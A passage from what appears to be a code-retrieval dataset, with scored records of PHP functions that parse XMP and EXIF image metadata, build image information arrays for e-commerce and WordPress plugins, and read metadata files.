0;\r\n\t\t$results = array();\r\n\t\t$xmlns = array();\r\n\t\tforeach ( $xmp_values as $index => $value ) {\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_values( {$index} ) value = \" . var_export( $value, true ), 0 );\r\n\t\t\t$language = 'x-default';\r\n\t\t\t$node_attributes = array();\r\n\t\t\tif ( isset( $value['attributes'] ) ) {\r\n\t\t\t\tforeach ( $value['attributes'] as $att_tag => $att_value ) {\r\n\t\t\t\t\t$att_value = self::_bin_to_utf8( $att_value );\r\n\r\n\t\t\t\t\tif ( 'xmlns:' == substr( $att_tag, 0, 6 ) ) {\r\n\t\t\t\t\t\t$xmlns[ substr( $att_tag, 6 ) ] = $att_value;\r\n\t\t\t\t\t} elseif ( 'x:xmptk' == $att_tag ) {\r\n\t\t\t\t\t\t$results['xmptk'] = $att_value;\r\n\t\t\t\t\t} elseif ( 'xml:lang' == $att_tag ) {\r\n\t\t\t\t\t\t$language = $att_value;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t$key = explode( ':', $att_tag );\r\n\t\t\t\t\t\tswitch ( count( $key ) ) {\r\n\t\t\t\t\t\t\tcase 1:\r\n\t\t\t\t\t\t\t\t$att_ns = 'unknown';\r\n\t\t\t\t\t\t\t\t$att_name = $key[0];\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\tcase 2:\r\n\t\t\t\t\t\t\t\t$att_ns = $key[0];\r\n\t\t\t\t\t\t\t\t$att_name = $key[1];\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t$att_ns = array_shift( $key );\r\n\t\t\t\t\t\t\t\t$att_name = implode( ':', $key );\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t} // count\r\n\r\n\t\t\t\t\t\tif ( ! in_array( $att_tag, array( 'rdf:about', 'rdf:parseType' ) ) ) {\r\n\t\t\t\t\t\t\t$node_attributes[ $att_tag ] = self::_bin_to_utf8( $att_value );\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} // attributes\r\n\r\n\t\t\tswitch ( $value['type'] ) {\r\n\t\t\t\tcase 'open':\r\n\t\t\t\t\t$levels[ ++$current_level ] = array( 'key' => $value['tag'], 'values' => $node_attributes );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_values( {$current_level}, {$index} ) case 'open': top_level = \" . var_export( $levels[ $current_level ], true ), 0 );\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'close':\r\n\t\t\t\t\tif ( 0 < --$current_level ) {\r\n\t\t\t\t\t\t$top_level = array_pop( $levels );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_values( {$current_level}, {$index} ) case 'close': top_level = \" . var_export( $top_level, true ), 0 );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_values( {$current_level}, {$index} ) case 'close': levels( {$current_level} ) before = \" . var_export( $levels, true ), 0 );\r\n\t\t\t\t\t\tif ( 'rdf:li' == $top_level['key'] ) {\r\n\t\t\t\t\t\t\t$levels[ $current_level ]['values'][] = $top_level['values'];\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tif ( isset( $levels[ $current_level ]['values'][ $top_level['key'] ] ) ) {\r\n\t\t\t\t\t\t\t\t$levels[ $current_level ]['values'][ $top_level['key'] ] = array_merge( (array) $levels[ $current_level ]['values'][ $top_level['key'] ], $top_level['values'] );\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\t$levels[ $current_level ]['values'][ $top_level['key'] ] = $top_level['values'];\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_values( {$current_level}, {$index} ) case 'close': levels( {$current_level} ) after = \" . var_export( $levels, true ), 0 );\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'complete':\r\n\t\t\t\t\tif ( 'x-default' != $language ) {\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_values( {$index} ) case 'complete': node_attributes = \" . var_export( $node_attributes, true ), 0 );\r\n\t\t\t\t\tif ( empty( $node_attributes ) ) {\r\n\t\t\t\t\t\tif ( isset( $value['value'] ) ) {\r\n\t\t\t\t\t\t\t$complete_value = self::_bin_to_utf8( $value['value'] );\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t$complete_value = '';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t$complete_value = $node_attributes;\r\n\t\t\t\t\t}\r\n\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_values( {$index} ) case 'complete': value = \" . var_export( $value, true ), 0 );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_values( {$index} ) case 'complete': complete_value = \" . var_export( $complete_value, true ), 0 );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_values( {$index} ) case 'complete': (array) complete_value = \" . var_export( (array) $complete_value, true ), 0 );\r\n\t\t\t\t\tif ( 'rdf:li' == $value['tag'] ) {\r\n\t\t\t\t\t\t$levels[ $current_level ]['values'][] = $complete_value;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tif ( isset( $levels[ $current_level ]['values'][ $value['tag'] ] ) ) {\r\n\t\t\t\t\t\t\t$new_value = (array) $levels[ $current_level ]['values'][ $value['tag'] ];\r\n\t\t\t\t\t\t\t$levels[ $current_level ]['values'][ $value['tag'] ] = array_merge( $new_value, (array) $complete_value );\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t$levels[ $current_level ]['values'][ $value['tag'] ] = $complete_value;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_values( {$index}, {$current_level} ) case 'complete': values = \" . var_export( $levels[ $current_level ]['values'], true ), 0 );\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tdefault:\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_values( {$index}, {$current_level} ) ignoring type = \" . var_export( $value['type'], true ), 0 );\r\n\t\t\t} // switch on type\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmp_values( {$index}, {$current_level} ) levels = \" . var_export( $levels, true ), 0 );\r\n\t\t} // foreach value\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata levels = \" . var_export( $levels, true ), 0 );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata xmlns = \" . var_export( $xmlns, true ), 0 );\r\n\r\n\t\t/*\r\n\t\t * Parse \"namespace:name\" names into arrays of simple names\r\n\t\t * NOTE: The string \"XAP\" or \"xap\" appears in some namespaces, keywords,\r\n\t\t * and related names in stored XMP data. It reflects an early internal\r\n\t\t * code name for XMP; the names have been preserved for compatibility purposes.\r\n\t\t */\r\n\t\t$namespace_arrays = array();\r\n\t\tif ( isset( $levels[1] ) && isset( $levels[1]['values'] ) && isset( $levels[1]['values']['rdf:RDF'] ) && isset( $levels[1]['values']['rdf:RDF']['rdf:Description'] ) ) {\r\n\t\t\tforeach ( $levels[1]['values']['rdf:RDF']['rdf:Description'] as $key => $value ) {\r\n\t\t\t\tif ( is_string( $value ) ) {\r\n\t\t\t\t\t$value = self::_parse_iso8601_date( self::mla_parse_pdf_date( $value ) );\r\n\t\t\t\t} elseif ( is_array( $value ) ) {\r\n\t\t\t\t\t$value = self::_parse_xmp_array( $value );\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif ( false !== ($colon = strpos( $key, ':' ) ) ) {\r\n\t\t\t\t\t$array_name = substr( $key, 0, $colon );\r\n\t\t\t\t\t$array_index = substr( $key, $colon + 1 );\r\n\t\t\t\t\t$namespace_arrays[ $array_name ][ $array_index ] = $value;\r\n\r\n\t\t\t\t\tif ( ! isset( $results[ $array_index ] ) && in_array( $array_name, array( 'xmp', 'xmpMM', 'xmpRights', 'xap', 'xapMM', 'dc', 'pdf', 'pdfx', 'mwg-rs' ) ) ) {\r\n\t\t\t\t\t\tif ( is_array( $value ) && 1 == count( $value ) && isset( $value[0] ) ) {\r\n\t\t\t\t\t\t\t$results[ $array_index ] = $value[0];\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t$results[ $array_index ] = $value;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t} // found namespace\r\n\t\t\t} // foreach Description\r\n\t\t}\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata results = \" . var_export( $results, true ), 0 );\r\n\r\n\t\t/*\r\n\t\t * Try to populate all the PDF-standard keys (except Trapped)\r\n\t\t * Title - The document's title\r\n\t\t * Author - The name of the person who created the document\r\n\t\t * Subject - The subject of the document\r\n\t\t * Keywords - Keywords associated with the document\r\n\t\t * Creator - the name of the conforming product that created the original document\r\n\t\t * Producer - the name of the conforming product that converted it to PDF\r\n\t\t * CreationDate - The date and time the document was created\r\n\t\t * ModDate - The date and time the document was most recently modified\r\n\t\t */\r\n\t\tif ( ! isset( $results['Title'] ) ) {\r\n\t\t\t$replacement = self::_nonempty_value( $namespace_arrays, 'dc', 'title' );\r\n\t\t\tif ( ! empty( $replacement ) ) {\r\n\t\t\t\t$results['Title'] = $replacement;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ( ! isset( $results['Author'] ) ) {\r\n\t\t\t$replacement = self::_nonempty_value( $namespace_arrays, 'dc', 'creator' );\r\n\t\t\tif ( ! empty( $replacement ) ) {\r\n\t\t\t\t$results['Author'] = $replacement;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ( ! isset( $results['Subject'] ) ) {\r\n\t\t\t$replacement = self::_nonempty_value( $namespace_arrays, 'dc', 'description' );\r\n\t\t\tif ( ! empty( $replacement ) ) {\r\n\t\t\t\t$results['Subject'] = $replacement;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t/*\r\n\t\t * Keywords are special, since they are often assigned to taxonomy terms.\r\n\t\t * Build or preserve an array if there are multiple values; string for single values.\r\n\t\t * \"pdf:Keywords\" uses a ';' delimiter, \"dc:subject\" uses an array.\r\n\t\t */\r\n\t\t$keywords = array();\r\n\t\tif ( isset( $results['Keywords'] ) ) {\r\n\t\t\tif ( false !== strpos( $results['Keywords'], ';' ) ) {\r\n\t\t\t\t$terms = array_map( 'trim', explode( ';', $results['Keywords'] ) );\r\n\t\t\t\tforeach ( $terms as $term )\r\n\t\t\t\t\tif ( ! empty( $term ) ) {\r\n\t\t\t\t\t\t$keywords[ $term ] = $term;\r\n\t\t\t\t\t}\r\n\t\t\t} elseif ( false !== strpos( $results['Keywords'], ',' ) ) {\r\n\t\t\t\t$terms = array_map( 'trim', explode( ',', $results['Keywords'] ) );\r\n\t\t\t\tforeach ( $terms as $term )\r\n\t\t\t\t\tif ( ! empty( $term ) ) {\r\n\t\t\t\t\t\t$keywords[ $term ] = $term;\r\n\t\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\t$term = trim( $results['Keywords'] );\r\n\t\t\t\tif ( ! empty( $term ) ) {\r\n\t\t\t\t\t$keywords[ $term ] = $term;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} // Keywords\r\n\r\n\t\tif ( isset( $namespace_arrays['dc'] ) && isset( $namespace_arrays['dc']['subject'] ) ) {\r\n\t\t\tif ( is_array( $namespace_arrays['dc']['subject'] ) ) {\r\n\t\t\t\tforeach ( $namespace_arrays['dc']['subject'] as $term ) {\r\n\t\t\t\t\t$term = trim( $term, \" \\n\\t\\r\\0\\x0B,\" );\r\n\t\t\t\t\tif ( ! empty( $term ) ) {\r\n\t\t\t\t\t\t$keywords[ $term ] = $term;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} elseif ( is_string( $namespace_arrays['dc']['subject'] ) ) {\r\n\t\t\t\t$term = trim ( $namespace_arrays['dc']['subject'], \" \\n\\t\\r\\0\\x0B,\" );\r\n\t\t\t\tif ( ! empty( $term ) ) {\r\n\t\t\t\t\t$keywords[ $term ] = $term;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} // dc:subject\r\n\r\n\t\tif ( ! empty( $keywords ) ) {\r\n\t\t\tif ( 1 == count( $keywords ) ) {\r\n\t\t\t\t$results['Keywords'] = array_shift( $keywords );\r\n\t\t\t} else {\r\n\t\t\t\t$results['Keywords'] = array();\r\n\t\t\t\tforeach ( $keywords as $term ) {\r\n\t\t\t\t\t$results['Keywords'][] = $term;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n//\t\tif ( ! isset( $results['Producer'] ) ) {\r\n//\t\t}\r\n\r\n\t\tif ( ! isset( $results['Creator'] ) ) {\r\n\t\t\t$replacement = self::_nonempty_value( $namespace_arrays, 'xmp', 'CreatorTool' );\r\n\t\t\tif ( ! empty( $replacement ) ) {\r\n\t\t\t\t$results['Creator'] = $replacement;\r\n\t\t\t} else {\r\n\t\t\t\t$replacement = self::_nonempty_value( $namespace_arrays, 'xap', 'CreatorTool' );\r\n\t\t\t\tif ( ! empty( $replacement ) ) {\r\n\t\t\t\t\t$results['Creator'] = $replacement;\r\n\t\t\t\t} elseif ( ! empty( $results['Producer'] ) ) {\r\n\t\t\t\t\t$results['Creator'] = $results['Producer'];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ( ! isset( $results['CreationDate'] ) ) {\r\n\t\t\t$replacement = self::_nonempty_value( $namespace_arrays, 'xmp', 'CreateDate' );\r\n\t\t\tif ( ! empty( $replacement ) ) {\r\n\t\t\t\t$results['CreationDate'] = $replacement;\r\n\t\t\t} else {\r\n\t\t\t\t$replacement = self::_nonempty_value( $namespace_arrays, 'xap', 'CreateDate' );\r\n\t\t\t\tif ( ! empty( $replacement ) ) {\r\n\t\t\t\t\t$results['CreationDate'] = $replacement;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ( ! isset( $results['ModDate'] ) ) {\r\n\t\t\t$replacement = self::_nonempty_value( $namespace_arrays, 'xmp', 'ModifyDate' );\r\n\t\t\tif ( ! empty( $replacement ) ) {\r\n\t\t\t\t$results['ModDate'] = $replacement;\r\n\t\t\t} else {\r\n\t\t\t\t$replacement = self::_nonempty_value( $namespace_arrays, 'xap', 'ModifyDate' );\r\n\t\t\t\tif ( ! empty( $replacement ) ) {\r\n\t\t\t\t\t$results['ModDate'] = $replacement;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ( ! empty( $xmlns ) ) {\r\n\t\t\t$results['xmlns'] = $xmlns;\r\n\t\t}\r\n\r\n\t\t$results = array_merge( $results, $namespace_arrays );\r\n//error_log( __LINE__ . \" MLAData::mla_parse_xmp_metadata results = \" . var_export( $results, true ), 0 );\r\n\t\treturn $results;\r\n\t}", "title": "" }, { "docid": "4e42d5d671b18b4fceadc4d011d77b4e", "score": "0.5330603", "text": "public function getExif($imgSrc): array\n {\n // TODO: use https://github.com/tsmgeek/ExifTool_PHP_Stayopen\n $img = $this->folderImageOriginal.'/'.$imgSrc;\n $exifService = new ExifService($this->exiftool);\n\n return $exifService->getData($img);\n }", "title": "" }, { "docid": "43e2137866b985e350a588762a7bb4e5", "score": "0.5304919", "text": "private function buildInfo($imageId)\n {\n //====================================================================//\n // Get Images Link from Context\n $publicUrl = Context::getContext()->link;\n //====================================================================//\n // Fetch Images Object\n $objectImage = new Image($imageId, SLM::getDefaultLangId());\n //====================================================================//\n // Detect Image Name\n /** @var array $linkRewrite */\n $linkRewrite = $this->object->link_rewrite;\n $imageName = !empty($linkRewrite)\n ? array_values($linkRewrite)[0]\n : 'Image';\n //====================================================================//\n // Encode Image in Splash Format\n $splashImage = self::images()->Encode(\n ($objectImage->legend?$objectImage->legend:$objectImage->id.\".\".$objectImage->image_format),\n $objectImage->id.\".\".$objectImage->image_format,\n _PS_PROD_IMG_DIR_.$objectImage->getImgFolder(),\n $publicUrl->getImageLink($imageName, $imageId)\n );\n //====================================================================//\n // Encode Image Information Array\n return new ArrayObject(\n array(\n \"id\" => $imageId,\n \"image\" => $splashImage,\n \"position\" => $objectImage->position,\n \"cover\" => $objectImage->cover,\n \"visible\" => $this->isVisibleImage($imageId),\n ),\n ArrayObject::ARRAY_AS_PROPS\n );\n }", "title": "" }, { "docid": "3c6692a3c86e5f9f669558f404638a5c", "score": "0.53033614", "text": "public function exifData() {\n if (!($seg= $this->segmentsOf('img.io.ExifSegment'))) return NULL;\n\n // Populate ExifData instance from ExifSegment's raw data\n with ($data= new ExifData(), $raw= $seg[0]->rawData()); {\n $data->setFileName($this->source);\n $data->setFileSize(-1);\n $data->setMimeType('image/jpeg');\n\n $data->setMake(NULL === ($l= self::lookup($raw, 'Make')) ? NULL : trim($l));\n $data->setModel(NULL === ($l= self::lookup($raw, 'Model')) ? NULL : trim($l));\n $data->setSoftware(NULL === ($l= self::lookup($raw, 'Software')) ? NULL : trim($l));\n\n $exif= $raw['Exif_IFD_Pointer']['data'];\n\n if ($sof= $this->segmentsOf('img.io.SOFNSegment')) {\n $data->setWidth($sof[0]->width());\n $data->setHeight($sof[0]->height());\n } else {\n $data->setWidth(self::lookup($exif, 'ExifImageWidth'));\n $data->setHeight(self::lookup($exif, 'ExifImageLength'));\n }\n\n // Aperture is either a FNumber (use directly), otherwise calculate from value\n if (NULL === ($a= self::lookup($exif, 'FNumber'))) {\n if (NULL === ($a= self::lookup($exif, 'ApertureValue', 'MaxApertureValue'))) {\n $data->setApertureFNumber(NULL);\n } else {\n sscanf($a, '%d/%d', $n, $frac);\n $data->setApertureFNumber(sprintf('f/%.1F', exp($n / $frac * log(2) * 0.5)));\n }\n } else {\n sscanf($a, '%d/%d', $n, $frac);\n $data->setApertureFNumber(sprintf('f/%.1F', $n / $frac));\n }\n\n $data->setExposureTime(self::lookup($exif, 'ExposureTime'));\n $data->setExposureProgram(self::lookup($exif, 'ExposureProgram'));\n $data->setMeteringMode(self::lookup($exif, 'MeteringMode'));\n $data->setIsoSpeedRatings(self::lookup($exif, 'ISOSpeedRatings'));\n\n // Sometimes white balance is in MAKERNOTE - e.g. FUJIFILM's Finepix\n if (NULL !== ($w= self::lookup($exif, 'WhiteBalance'))) {\n $data->setWhiteBalance($w);\n } else if (isset($exif['MakerNote']) && NULL !== ($w= self::lookup($exif['MakerNote']['data'], 'WhiteBalance'))) {\n $data->setWhiteBalance($w);\n } else {\n $data->setWhiteBalance(NULL);\n }\n\n // Extract focal length. Some models store \"80\" as \"80/1\", rip off\n // the divisor \"1\" in this case.\n if (NULL !== ($l= self::lookup($exif, 'FocalLength'))) {\n sscanf($l, '%d/%d', $n, $frac);\n $data->setFocalLength(1 == $frac ? $n : $n.'/'.$frac);\n } else {\n $data->setFocalLength(NULL);\n }\n\n // Check for Flash and flashUsed keys\n if (NULL !== ($f= self::lookup($exif, 'Flash'))) {\n $data->setFlash($f);\n } else {\n $data->setFlash(NULL);\n }\n\n if (NULL !== ($date= self::lookup($exif, 'DateTimeOriginal', 'DateTimeDigitized', 'DateTime'))) {\n $t= sscanf($date, '%4d:%2d:%2d %2d:%2d:%2d');\n $data->setDateTime(new Date(mktime($t[3], $t[4], $t[5], $t[1], $t[2], $t[0])));\n }\n\n if (NULL !== ($o= self::lookup($exif, 'Orientation'))) {\n $data->setOrientation($o);\n } else {\n $data->setOrientation(($data->width / $data->height) > 1.0\n ? 1 // normal\n : 5 // transpose\n );\n }\n\n return $data;\n }\n }", "title": "" }, { "docid": "843c87700b6a20248dabc07eef6648ce", "score": "0.529494", "text": "function tp_exif_formatted($file_guid) {\n\n\t$metadata_exif = get_metadata_byname($file_guid, \"tp_exif\");\n\tif (!$metadata_exif) { \n\t\t// //try to load it from the file if its not in the database\n\t\t$file = new ElggFile($file_guid);\n\t\ttd_get_exif($file);\n\t\tunset($file);\n\t\t$metadata_exif = get_metadata_byname($file_guid, \"tp_exif\");\n\t}\n\n\tif (!$metadata_exif) {\n\t\treturn false;\n\t}\n\n\t$exif = unserialize($metadata_exif[\"value\"]);\n\n\t$model = $exif['Model'];\n\tif (!$model) {\n\t\t$model = \"N/A\";\n\t}\n\t$exif_data['Model'] = $model;\n\n\t$exposure = $exif['ExposureTime'];\n\tif (!$exposure) {\n\t\t$exposure = \"N/A\";\n\t}\n\t$exif_data['Shutter'] = $exposure;\n\n\t//got the code snippet below from http://www.zenphoto.org/support/topic.php?id=17\n\t//convert the raw values to understandible values\n\t$Fnumber = explode(\"/\", $exif['FNumber']);\n\tif ($Fnumber[1] != 0) {\n\t\t$Fnumber = $Fnumber[0] / $Fnumber[1];\n\t} else {\n\t\t$Fnumber = 0;\n\t}\n\tif (!$Fnumber) {\n\t\t$Fnumber = \"N/A\";\n\t} else {\n\t\t$Fnumber = \"f/$Fnumber\";\n\t}\n\t$exif_data['Aperture'] = $Fnumber;\n\n\t$iso = $exif['ISOSpeedRatings'];\n\tif (!$iso) {\n\t\t$iso = \"N/A\";\n\t}\n\t$exif_data['ISO Speed'] = $iso;\n\n\t$Focal = explode(\"/\", $exif['FocalLength']);\n\tif ($Focal[1] != 0) {\n\t\t$Focal = $Focal[0] / $Focal[1];\n\t} else {\n\t\t$Focal = 0;\n\t}\n\tif (!$Focal || round($Focal) == \"0\") {\n\t\t$Focal = 0;\n\t}\n\tif (round($Focal) == 0) {\n\t\t$Focal = \"N/A\";\n\t} else {\n\t\t$Focal = round($Focal) . \"mm\";\n\t}\n\t$exif_data['Focal Length'] = $Focal;\n\n\t$captured = $exif['DateTime'];\n\tif (!$captured) {\n\t\t$captured = \"N/A\";\n\t}\n\t$exif_data['Captured'] = $captured;\n\n\treturn $exif_data;\n}", "title": "" }, { "docid": "405f1a1d730a61328acc6f0ad16d2f19", "score": "0.52851593", "text": "abstract public function getErrorMetadata(): array;", "title": "" }, { "docid": "1d843ac5b3a48b74b4d6f139871789b1", "score": "0.5277085", "text": "public function getExif($photoId) {\r\n \r\n }", "title": "" }, { "docid": "e7d2db143f511141dd324395330252af", "score": "0.5270221", "text": "public function getMetadataArray(){\n\n\n $handle = file_get_contents('metadata.xml');\n\n //initialize the array for all metadata information\n $array = [];\n\n if($handle){\n //$xml = file_get_contents(asset('metadata.xml'));\n //load the xml string and make it into array\n $xml = simplexml_load_string($handle);\n $json = json_encode($xml);\n $array = json_decode($json,true);\n }\n return $array;\n }", "title": "" }, { "docid": "9b9234387c387890d898f46849b8a954", "score": "0.5262839", "text": "private function getMetaData ()\n\t\t{\n\t\t\t$data = file_get_contents (\"META.inf\");\n\t\t\t$o = json_decode ($data,true);\n\t\t\treturn $o;\t\n\t\t}", "title": "" }, { "docid": "74f6aadf16f3951019395bdfad12d17d", "score": "0.5221505", "text": "private function get_complemtary_image_infos($post){\r\n\t\t\t$infos = array('author'=>null, 'image_datas'=>null);\r\n\t\t\t//https://codex.wordpress.org/Function_Reference/get_user_by\r\n\t\t\tif($user = get_user_by( 'id', $post->post_author )){\r\n\t\t\t\t$infos['author'] = \t$user;\t\r\n\t\t\t}\r\n\t\t\t//https://codex.wordpress.org/Function_Reference/get_post_meta\r\n\t\t\tif($metas_image_serialized = get_post_meta( $post->ID, '_wp_attachment_metadata', true )){\r\n\t\t\t\t$infos['image_datas'] = maybe_unserialize($metas_image_serialized);\r\n\t\t\t}\r\n\t\t\treturn $infos;\r\n\t\t}", "title": "" }, { "docid": "b08443b6679a30809b6c63ee2284aed8", "score": "0.5220206", "text": "public function filter_attachment_image_src($image): array{\n\t\t$oss_image = [\n\t\t\t$this->resize_image($image[0], $image[1], $image[2]),\n\t\t\t$image[1],\n\t\t\t$image[2],\n\t\t];\n\n\t\treturn $oss_image;\n\t}", "title": "" }, { "docid": "127e86cd51b7d8db32db1c9398f33b30", "score": "0.52045447", "text": "protected function getImage()\n {\n $images = $this->xpath->query(\"//image\");\n if ($images->length > 0) {\n $image = $images->item(0);\n $desc = $image->getElementsByTagName('description');\n $description = $desc->length ? $desc->item(0)->nodeValue : false;\n $heigh = $image->getElementsByTagName('height'); \n $height = $heigh->length ? $heigh->item(0)->nodeValue : false;\n $widt = $image->getElementsByTagName('width'); \n $width = $widt->length ? $widt->item(0)->nodeValue : false;\n return array(\n 'title' => $image->getElementsByTagName('title')->item(0)->nodeValue,\n 'link' => $image->getElementsByTagName('link')->item(0)->nodeValue,\n 'url' => $image->getElementsByTagName('url')->item(0)->nodeValue,\n 'description' => $description,\n 'height' => $height,\n 'width' => $width);\n }\n return false;\n }", "title": "" }, { "docid": "b7feaa335d3b5d133e30073b4c70f6b5", "score": "0.5191041", "text": "protected function readImageList() { return $this->_images; }", "title": "" }, { "docid": "748c5abd37d24d5e121c9a74fabaf0b2", "score": "0.518747", "text": "public function readMetadata($path) {\n\t\tini_set(\"auto_detect_line_endings\", true); // added as Mac line endings freak out Windows and Linux\n\t\t$file_list = array();\n\t\t$meta_files = file($path . '/metadata.csv');\n\t\tunset($meta_files[0]);\n\t\t\n\t\tforeach($meta_files as $meta_file) {\n\t\t\t$file_name = explode(',', $meta_file);\n\t\t\t$file_list[] = $file_name[1];\n\t\t}\n\t\t\n\t\treturn $file_list;\n\t}", "title": "" }, { "docid": "94fcd1bd3cc896f241efe5a349286907", "score": "0.51816434", "text": "public function info($fields = array() )\n\t{\n\t\tif($fields)\n\t\t{\n\t\t\tif(is_array($fields))\n\t\t\t{\n\t\t\t\t$exif = array();\n\t\t\t\t\n\t\t\t\tforeach($fields as $field)\n\t\t\t\t{\n\t\t\t\t\tif(preg_match(\"/\\b($field)\\b/i\", join(',', array_keys($this->exif) ), $matches ) )\n\t\t\t\t\t\t$exif[$field] = $this->exif[$matches[0]];\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$exif = '';\n\t\t\t\tif(preg_match(\"/\\b($fields)\\b/i\", join(',', array_keys($this->exif) ), $matches ) )\n\t\t\t\t\t$exif = $this->exif[$matches[0]];\n\t\t\t}\n\t\t}//end if\n\t\telse\n\t\t\t$exif = $this->exif;\n\n\t\treturn $exif;\n\t}", "title": "" }, { "docid": "0675b5861bb2735b86928bf43f23c829", "score": "0.51787704", "text": "public function load_source_metadata()\n {\n $sPathFile = $this->build_filepath();\n $arMetaData = exif_read_data($sPathFile,0,true);\n $this->load_metadata($arMetaData); \n }", "title": "" }, { "docid": "345ade40e4ec24d350ce3e1945538bad", "score": "0.51774585", "text": "function getPackageMetaData() ;", "title": "" }, { "docid": "cfb6251f67117db5b72fbf1c63dd7838", "score": "0.5173639", "text": "protected function buildInfo($imageId): ArrayObject\n {\n //====================================================================//\n // Get Images Link from Context\n /** @var Context $context */\n $context = Context::getContext();\n /** @var Link $publicUrl */\n $publicUrl = $context->link;\n //====================================================================//\n // Fetch Images Object\n $objectImage = new Image((int) $imageId, SLM::getDefaultLangId());\n //====================================================================//\n // Detect Image Name\n /** @var array $linkRewrite */\n $linkRewrite = $this->object->link_rewrite;\n $imageName = !empty($linkRewrite)\n ? array_values($linkRewrite)[0]\n : 'Image';\n //====================================================================//\n // Encode Image in Splash Format\n $splashImage = self::images()->encode(\n // @phpstan-ignore-next-line\n ($objectImage->legend?:$objectImage->id.\".\".$objectImage->image_format),\n $objectImage->id.\".\".$objectImage->image_format,\n _PS_PROD_IMG_DIR_.$objectImage->getImgFolder(),\n $publicUrl->getImageLink($imageName, (string) $imageId)\n );\n //====================================================================//\n // Encode Image Information Array\n return new ArrayObject(\n array(\n \"id\" => $imageId,\n \"image\" => $splashImage,\n \"position\" => $objectImage->position,\n \"cover\" => $objectImage->cover,\n \"visible\" => $this->isVisibleImage($imageId),\n ),\n ArrayObject::ARRAY_AS_PROPS\n );\n }", "title": "" }, { "docid": "881ea7412d6b58b43eee508b78feda83", "score": "0.51710814", "text": "function read_XMP_array_from_text($xmltext)\n\t{\n\t\tif (trim($xmltext) == '')\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\t// Create an instance of a xml parser to parse the XML text\n\t\t$xml_parser = xml_parser_create('UTF-8');\n\n\t\t// Change: Fixed problem that caused the whitespace (especially newlines) to be destroyed when converting xml text to an xml array, as of revision 1.10\n\n\t\t// We would like to remove unneccessary white space, but this will also\n\t\t// remove things like newlines (&#xA;) in the XML values, so white space\n\t\t// will have to be removed later\n\t\tif (xml_parser_set_option($xml_parser, XML_OPTION_SKIP_WHITE, 0) == false)\n\t\t{\n\t\t\t// Error setting case folding - destroy the parser and return\n\t\t\txml_parser_free($xml_parser);\n\t\t\treturn false;\n\t\t}\n\n\t\t// to use XML code correctly we have to turn case folding\n\t\t// (uppercasing) off. XML is case sensitive and upper\n\t\t// casing is in reality XML standards violation\n\t\tif (xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 0) == false)\n\t\t{\n\t\t\t// Error setting case folding - destroy the parser and return\n\t\t\txml_parser_free($xml_parser);\n\t\t\treturn false;\n\t\t}\n\n\t\t// Parse the XML text into a array structure\n\t\tif (xml_parse_into_struct($xml_parser, $xmltext, $values, $tags) == 0)\n\t\t{\n\t\t\t// Error Parsing XML - destroy the parser and return\n\t\t\txml_parser_free($xml_parser);\n\t\t\treturn false;\n\t\t}\n\n\t\t// Destroy the xml parser\n\t\txml_parser_free($xml_parser);\n\n\t\t// Clear the output array\n\t\t$xmp_array = array();\n\n\t\t// The XMP data has now been parsed into an array ...\n\n\t\t// Cycle through each of the array 